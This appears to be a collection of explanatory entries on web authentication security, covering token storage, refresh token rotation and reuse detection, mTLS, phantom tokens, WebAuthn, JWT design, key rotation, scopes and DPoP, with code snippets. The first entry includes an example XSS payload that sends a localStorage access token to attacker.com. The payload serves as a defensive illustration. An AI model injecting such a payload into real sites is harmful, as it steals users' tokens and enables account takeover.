localStorage/sessionStorage are vulnerable to XSS (Cross-Site Scripting) attacks. Any JavaScript code running in your SPA can read these storage APIs - including malicious code injected via XSS. Attack scenario: attacker injects <script>fetch('https://attacker.com?token=' + localStorage.getItem('access_token'))</script> via unescaped user input, steals token, impersonates user. Modern SPAs are complex (dependencies, third-party libraries, user-generated content) - impossible to guarantee 100% XSS protection. localStorage persists across sessions - stolen token valid for full lifetime (days-months for refresh tokens). sessionStorage cleared on tab close but still vulnerable during session. Alternative solutions: (1) BFF pattern with httpOnly cookies (JavaScript cannot read, XSS immunity). (2) Service Worker with in-memory storage (cleared on page refresh, reduced window). (3) Re-authenticate on each session (no storage, poor UX). OAuth 2.0 for Browser-Based Applications spec (IETF 2025) recommends BFF pattern over localStorage. Only exception: short-lived access tokens (5-15 min) in sessionStorage with no refresh token (acceptable risk for low-security apps).
Refresh token rotation: each time client exchanges refresh token for new access token, server issues new refresh token and immediately invalidates old one. Old model (OAuth 2.0): static refresh token (never expires or changes) - stolen token = permanent access until manual revocation. Rotation model (OAuth 2.1 mandatory): client sends refresh token → server validates → issues new access token + new refresh token → invalidates old refresh token → client stores new refresh token. Security benefits: (1) Limits exposure window - stolen token only valid until next legitimate refresh (minutes-hours vs days-months). (2) Enables theft detection via reuse detection. (3) Single-use tokens reduce credential lifetime. Implementation: const newRefreshToken = crypto.randomBytes(32).toString('hex'); await db.updateSession({refreshToken: newRefreshToken}); await redis.setex('used:' + oldRefreshToken, 2592000, sessionId); res.json({access_token: newAccessToken, refresh_token: newRefreshToken}). OAuth 2.1 requirement: mandatory for public clients (SPAs, mobile apps), recommended for confidential clients. Adoption: Auth0, Okta, Google, Microsoft enforce rotation as of 2024-2025.
Reuse detection identifies token theft: if already-used refresh token is reused, it indicates one party has stolen token (either attacker stole from legitimate user, or legitimate user has stolen token). Implementation: (1) On refresh, mark old token as used: redis.setex('used:' + oldRefreshToken, tokenLifetime, sessionId). (2) On next refresh request, check if token already used: if (await redis.get('used:' + refreshToken)) { await revokeAllTokens(sessionId); throw new Error('Token reuse detected'); }. (3) If reused, revoke entire token family (all tokens for that session/user), force re-authentication. Detection scenario: Legitimate user refreshes (10:00 AM) → new token issued, old marked used. Attacker uses stolen old token (10:05 AM) → reuse detected → all tokens revoked. Legitimate user's next request fails → forced to re-authenticate. Grace period: some providers (Okta) allow 3-second grace period for network retries - old token valid briefly to handle race conditions. Monitoring: log reuse events as high-severity security alerts, track revocation patterns (multiple revocations = active attack).
mTLS (Mutual TLS) authenticates both client and server using X.509 certificates during TLS handshake. Standard TLS: only server presents certificate (client trusts server). mTLS: both parties present certificates (mutual authentication). Client proves identity with certificate + private key (cryptographically strong, no credentials in requests). Server validates client certificate against trusted Certificate Authority (CA). Use cases: (1) Service-to-service authentication in microservices (Istio, Linkerd use mTLS by default). (2) B2B APIs - each partner receives unique client certificate. (3) IoT device authentication - hardware-backed certificates (TPM, Secure Enclave). (4) PCI DSS compliance - required for financial transactions. Benefits: strong authentication (private key proves identity), no credential leakage (no API keys in headers/logs), non-repudiation (cryptographic proof of sender), mutual trust (both parties verified). Limitations: certificate distribution complexity, revocation overhead (CRL/OCSP), no user context (identifies service, not end-user). Best practice: mTLS for service-to-service, OAuth 2.0 + JWT for user authentication, combine both for end-to-end security.
Implementation steps: (1) Create Certificate Authority: openssl genrsa -out ca-key.pem 4096 && openssl req -new -x509 -days 3650 -key ca-key.pem -out ca-cert.pem. (2) Create client certificate signed by CA: openssl genrsa -out client-key.pem 4096 && openssl req -new -key client-key.pem -out client.csr && openssl x509 -req -in client.csr -CA ca-cert.pem -CAkey ca-key.pem -out client-cert.pem -days 365. (3) Server configuration (Node.js): https.createServer({key: fs.readFileSync('server-key.pem'), cert: fs.readFileSync('server-cert.pem'), ca: fs.readFileSync('ca-cert.pem'), requestCert: true, rejectUnauthorized: true}, (req, res) => {const cert = req.socket.getPeerCertificate(); if (!req.client.authorized) return res.sendStatus(401); res.end('Hello ' + cert.subject.CN);}). (4) Client request: https.request({key: fs.readFileSync('client-key.pem'), cert: fs.readFileSync('client-cert.pem'), ca: fs.readFileSync('ca-cert.pem')}). Security: store private keys in HSM/KMS, use 90-day certificate lifetimes, implement CRL/OCSP for revocation, rotate regularly via cert-manager (Kubernetes) or AWS ACM.
Phantom Token pattern (by Curity, 2018) separates external token format (opaque reference token) from internal format (JWT) to combine security of opaque tokens with performance of JWTs. Problem: (1) JWTs exposed to clients can be decoded (information disclosure, no revocation). (2) Reference tokens require every microservice to call auth server for validation (latency, load). Solution: API Gateway performs token introspection once, converts opaque token to JWT for internal use. Flow: Client (opaque token) → API Gateway (introspect at auth server, convert to JWT) → Microservices (validate JWT locally, no auth server call). Benefits: (1) External security - opaque tokens cannot be decoded/forged. (2) Internal performance - microservices validate JWTs locally (<1ms). (3) Centralized revocation - auth server controls token validity. (4) Reduced bandwidth - opaque tokens smaller (32 bytes vs 1-4KB JWT). Gateway caches introspection results (60s TTL) - reduces auth server load 90%+. Use case: public-facing APIs with many microservices (introspect once at gateway, not N times per service).
API Gateway implementation: (1) Receive request with opaque token from client. (2) Check cache for introspection result: const cachedJWT = await redis.get('phantom:' + opaqueToken). (3) If cache miss, introspect at auth server (OAuth RFC 7662): fetch('https://auth.example.com/introspect', {method: 'POST', body: 'token=' + opaqueToken + '&client_id=' + gatewayId + '&client_secret=' + secret}). (4) Validate introspection result: if (!result.active) return 401. (5) Create internal JWT with claims: const jwt = jsonwebtoken.sign({sub: result.sub, scope: result.scope, exp: result.exp}, internalSecret). (6) Cache JWT: redis.setex('phantom:' + opaqueToken, Math.min(result.exp - now, 60), jwt). (7) Forward request to microservice with JWT header: req.headers.Authorization = 'Bearer ' + jwt. (8) Microservice validates JWT locally (no auth server call). Security: protect internal JWT signing key (rotate every 30-90 days), use TLS for internal network (prevent JWT interception), microservices must validate JWT signature + expiration. Implementation options: Kong/Tyk plugins, custom middleware (Express/FastAPI), service mesh (Istio/Linkerd).
WebAuthn (W3C standard, part of FIDO2) enables phishing-resistant passwordless authentication via biometrics (Touch ID, Face ID), security keys (YubiKey), or platform authenticators (Windows Hello). Eliminates password vulnerabilities (credential stuffing, phishing, weak passwords). Architecture: public-key cryptography - private key stored in authenticator (hardware-backed, never extractable), public key stored on server. Registration: user registers authenticator → browser generates key pair in secure hardware → public key sent to server → private key remains in device (Secure Enclave, TPM, TEE). Authentication: server sends cryptographic challenge → authenticator signs with private key (requires biometric/PIN) → server verifies signature with public key → user authenticated. Security benefits: (1) Phishing-resistant - credential bound to origin (example.com), cannot be used on phishing site (examp1e.com). (2) No shared secrets - server never receives private key or biometric data. (3) Replay protection - counter increments on each use, server rejects if counter ≤ stored value. Browser support (2025): Chrome 88+, Safari 14+, Firefox 92+ (95%+ market share). Device support: iOS 14+, Android 9+, Windows 10+.
Registration flow: (1) Server generates random challenge: crypto.randomBytes(32). (2) Client calls WebAuthn API: const credential = await navigator.credentials.create({publicKey: {challenge: Uint8Array.from(challenge), rp: {name: 'My App', id: 'example.com'}, user: {id: Uint8Array.from(userId), name: '[email protected]', displayName: 'Alice'}, pubKeyCredParams: [{alg: -7, type: 'public-key'}], authenticatorSelection: {authenticatorAttachment: 'platform', userVerification: 'required'}, timeout: 60000}}). (3) User performs biometric/PIN verification (browser prompt). (4) Authenticator generates key pair in secure hardware, returns public key + attestation. (5) Client sends credential.response to server. (6) Server verifies using @simplewebauthn/server: const verification = await verifyRegistrationResponse({response: credential, expectedChallenge, expectedOrigin: 'https://example.com', expectedRPID: 'example.com'}). (7) If verified, store: {userId, credentialId: verification.registrationInfo.credentialID, publicKey: verification.registrationInfo.credentialPublicKey, counter: verification.registrationInfo.counter}. User can now authenticate passwordlessly. Allow multiple authenticators (Face ID + YubiKey backup).
Authentication flow: (1) Server generates random challenge: crypto.randomBytes(32), looks up user's registered credentials. (2) Client calls WebAuthn API: const assertion = await navigator.credentials.get({publicKey: {challenge: Uint8Array.from(challenge), allowCredentials: [{id: Uint8Array.from(credentialId), type: 'public-key'}], timeout: 60000, userVerification: 'required'}}). (3) User performs biometric/PIN verification. (4) Authenticator signs challenge with private key (stored in secure hardware), returns signature + counter. (5) Client sends assertion to server. (6) Server verifies: const credential = await db.getCredential(assertionCredentialId); const verification = await verifyAuthenticationResponse({response: assertion, expectedChallenge, expectedOrigin: 'https://example.com', expectedRPID: 'example.com', authenticator: {credentialPublicKey: credential.publicKey, credentialID: credential.credentialId, counter: credential.counter}}). (7) If verified, update counter (replay protection): db.updateCounter(credential.id, verification.authenticationInfo.newCounter), create session. UX: instant authentication (2 seconds), no password entry, works offline (local verification).
Security benefits: (1) Phishing-resistant - credentials bound to origin, cannot be used on fake domains. (2) No credential theft - private key never leaves device (hardware-backed in Secure Enclave, TPM, TEE), biometric data processed locally (never sent to server). (3) Replay protection - signature counter increments on each use, server rejects replayed authentications. (4) Strong cryptography - ECDSA P-256 or Ed25519 (256-bit security). (5) No shared secrets - server breach doesn't expose credentials (only public keys stolen). (6) Resistant to credential stuffing, brute force, password spraying. Limitations: (1) Device dependency - user needs compatible device (solved with cross-platform authenticators like YubiKey). (2) Recovery complexity - lost device = lost credentials (mitigate by registering multiple authenticators). (3) Browser support - 95%+ market share but some legacy browsers unsupported. (4) User education - unfamiliar UX requires onboarding. Best practices: offer multiple authenticator types (platform + security key), provide fallback authentication (SMS OTP), progressive rollout (opt-in initially). Compliance: satisfies NIST AAL3, PSD2 SCA requirements.
Use standard claims (RFC 7519): sub (user ID - immutable, not email), iat (issued at - Unix timestamp), exp (expiration - Unix timestamp), nbf (not before), iss (issuer URL), aud (audience - API identifier), jti (unique token ID for revocation). Add custom claims for authorization (not authentication): role (admin, user, guest), org_id (tenant identifier), permissions (array of granted permissions). Avoid: (1) Sensitive data (passwords, SSNs, credit cards) - JWT is base64-encoded plaintext, anyone can decode. (2) Large objects (full user profile, addresses) - store in database, reference by ID. (3) Email as sub - emails change, use immutable user ID. (4) Redundant data - JWT embedded in every request, minimize size. Good example: {sub: 'usr_123', role: 'admin', org_id: '456', permissions: ['users:write', 'orders:read'], iat: 1704067200, exp: 1704070800} (150 bytes). Bad example: {email: '[email protected]', full_name: 'Alice', address: {...}, preferences: {...}} (800 bytes). Key principle: include only what's needed for authorization decisions, fetch additional data from database when required.
JWT size impacts bandwidth and performance (embedded in every request via cookies/headers). Optimization strategies: (1) Minimize claims - only include authorization data, fetch profile from database. (2) Use short keys - role instead of user_role_name, oid instead of organization_id. (3) Avoid arrays - permissions: ['read', 'write', 'delete'] (150 bytes) → use bitmask permissions: 7 (15 bytes) if feasible. (4) Choose compact algorithm - ES256 (64-byte signature) vs RS256 (256-byte signature). (5) Remove whitespace - use compact JSON serialization. Size targets: Minimal JWT (4 claims): ~200 bytes. Medium JWT (8 claims): ~400 bytes. Large JWT (20 claims): ~1,500 bytes. Size limits: cookies 4KB (browser limit), HTTP headers 8KB (nginx default) - keep tokens <2KB for safety margin. Trade-off: smaller tokens = better performance but may require additional database queries for user data. Performance: 2KB JWT in every request = 2MB per 1000 requests vs 200 bytes = 200KB (10x reduction). Compression: rarely used (adds complexity, minimal benefit for already-compact JWTs).
Secure transmission requirements: (1) HTTPS mandatory - JWT transmitted in plaintext (base64-encoded), HTTPS prevents man-in-the-middle interception. (2) Cookie security - if using cookies: res.cookie('token', jwt, {httpOnly: true, secure: true, sameSite: 'strict', maxAge: 900000}). httpOnly prevents JavaScript access (XSS immunity), secure enforces HTTPS-only, sameSite prevents CSRF. (3) Authorization header - if using headers: Authorization: Bearer <token>. Never embed in URL (logged in proxy/CDN/browser history). (4) Never log tokens - exclude Authorization header from application logs, redact in monitoring tools. (5) Use short lifetimes - access tokens 5-15 minutes (limits damage if intercepted), refresh tokens 7-30 days (rotate on each use). (6) TLS 1.3 - use latest TLS version (stronger encryption, faster handshake). Storage: server-side sessions (Redis) > httpOnly cookies > sessionStorage (XSS risk) > never localStorage. Monitoring: log token validation failures, track unusual access patterns (same token from multiple IPs = possible theft), implement rate limiting.
Token lifetime recommendations: Access tokens (short-lived): 5-15 minutes for high-security (banking, healthcare), 15-60 minutes for standard applications, 1-4 hours for low-security (public content). Short lifetimes limit damage if token stolen. Refresh tokens (long-lived): 7-30 days for mobile/desktop apps (balance security and UX), 1-7 days for web apps (shorter window acceptable), single-use with rotation (OAuth 2.1 mandatory). Rationale: access tokens stateless (cannot revoke before expiration) - short lifetime = revocation window. Refresh tokens enable long sessions without re-authentication but must rotate to detect theft. Sliding expiration: extend expiration on each use: exp = now + 900 (15 min) - keeps active users authenticated. Implementation: jwt.sign(payload, secret, {expiresIn: '15m'}) auto-adds exp claim. Refresh before expiry: client refreshes when exp - now < 60 seconds (proactive renewal, prevents session interruption). Special cases: remember me = 30-90 day refresh token, admin actions = re-authenticate regardless of token validity, API keys = no expiration (rotate manually).
Key rotation process (every 30-90 days): (1) Generate new key pair: openssl ecparam -genkey -name prime256v1 -out new-private-key.pem && openssl ec -in new-private-key.pem -pubout -out new-public-key.pem. (2) Assign unique key ID (kid): kid: 'key-2025-01'. (3) Publish both old and new public keys at JWKS endpoint (/.well-known/jwks.json): {keys: [{kid: 'key-2024-12', kty: 'EC', ...}, {kid: 'key-2025-01', kty: 'EC', ...}]}. (4) Start signing new tokens with new key (include kid in header): jwt.sign(payload, newPrivateKey, {algorithm: 'ES256', header: {kid: 'key-2025-01'}}). (5) Validation accepts both keys during grace period (grace = max token lifetime, e.g., 1 hour): verify with key matching kid from token header. (6) After grace period (all old tokens expired), remove old key from JWKS. Security: store private keys in KMS (AWS Secrets Manager, HashiCorp Vault), never commit to git, restrict access (IAM policies), audit key usage. Automation: use certbot, cert-manager (Kubernetes), or AWS ACM for automatic rotation. Emergency rotation: if key compromised, rotate immediately, revoke all active tokens (jti blacklist), force re-authentication.
Scope design patterns: (1) Resource-based: read:orders, write:orders, delete:users - mirrors resources. (2) Action-based: orders:read, orders:write, users:delete - mirrors REST verbs (preferred - clearer intent). (3) Hierarchical: api:read (includes orders:read, products:read), api:admin (includes all) - reduces token size but less granular. Best practice: action-based with consistent naming. Scope structure: <resource>:<action> - orders:read, orders:write, products:read. Wildcards: orders:* (all order permissions), *:read (read-only across all resources). Validation layers: (1) API Gateway validates scope exists in token: if (!token.scope.includes('orders:read')) return 401. (2) Microservice validates claims for data access: if (order.userId !== token.sub && token.role !== 'admin') return 403. Example token: {sub: 'user123', scope: 'orders:read orders:write products:read', role: 'customer', org_id: '456'}. Scope vs role: scope = coarse permissions (what can be accessed), role = fine-grained (who can access what data). Grant minimal scopes (principle of least privilege).
Combine scopes (coarse authorization) with claims (fine-grained context) for data-level access control. Architecture: API Gateway validates scopes, microservices validate claims. Implementation: (1) Token structure: {sub: 'user456', scope: 'orders:read', role: 'customer', org_id: '789'}. (2) Gateway middleware: if (!token.scope.includes('orders:read')) return 403 - validates permission to access orders endpoint. (3) Microservice logic: const order = await db.getOrder(orderId); if (token.role !== 'admin' && order.userId !== token.sub) return 403 - validates permission to access this specific order. (4) Multi-tenant filtering: const orders = await db.getOrders({orgId: token.org_id}) - isolates tenant data. Advanced: externalized authorization with policy engine (OPA, AWS Verified Permissions): define policies in Rego allow {input.method == 'GET'; input.user.role == 'admin' OR data.orders[input.order_id].user_id == input.user.sub}, query on each request. Performance: cache authorization decisions (60s TTL), validate scopes at edge (Gateway), validate claims in service. Monitoring: audit authorization failures (log user, resource, action, reason).
DPoP (RFC 9449, September 2023) cryptographically binds OAuth access and refresh tokens to client's public/private key pair, preventing token theft and replay attacks. Problem: bearer tokens (anyone with token = authorized) - stolen tokens usable from any device/IP. DPoP solution: client proves possession of private key on each request via DPoP proof JWT. Token binding process: (1) Client generates key pair (ES256/RS256). (2) Token request includes DPoP proof JWT header with public key embedded. (3) Auth server validates proof, issues token with confirmation claim cnf.jkt (SHA-256 thumbprint of public key). (4) Resource API requests include DPoP proof JWT signed with private key. (5) API validates: proof signature matches public key, public key hash matches cnf.jkt in token, HTTP method (htm) and URL (htu) in proof match request. Stolen token unusable without private key (stored in device, never transmitted). Benefits: simpler than mTLS (no PKI infrastructure), works in browsers (Web Crypto API), FAPI 2.0 compliant. Adoption: Okta, Auth0, Curity, Spring Security support as of 2024-2025.
Implementation: (1) Generate key pair: const keyPair = await crypto.subtle.generateKey({name: 'ECDSA', namedCurve: 'P-256'}, true, ['sign', 'verify']). Export public key as JWK. (2) Create DPoP proof JWT for token request: Header {typ: 'dpop+jwt', alg: 'ES256', jwk: publicKeyJWK}, Payload {jti: uuid(), htm: 'POST', htu: 'https://auth.example.com/token', iat: Math.floor(Date.now()/1000)}. Sign with private key. (3) Token request: POST /token with header DPoP: <proof-jwt>, body {grant_type: 'authorization_code', code: 'abc', code_verifier: 'xyz'}. (4) Receive DPoP-bound access token with cnf.jkt claim. (5) API request: create new DPoP proof for each request (unique jti, current htm/htu/iat), include headers Authorization: DPoP <access-token> and DPoP: <proof-jwt>. Security: generate unique jti per request (prevents replay), validate htm/htu match actual request, private key never leaves device (use Web Crypto API, Keychain, TPM). Libraries: @auth/jose (JavaScript), Spring Security OAuth (Java), Authlete SDK (multi-language).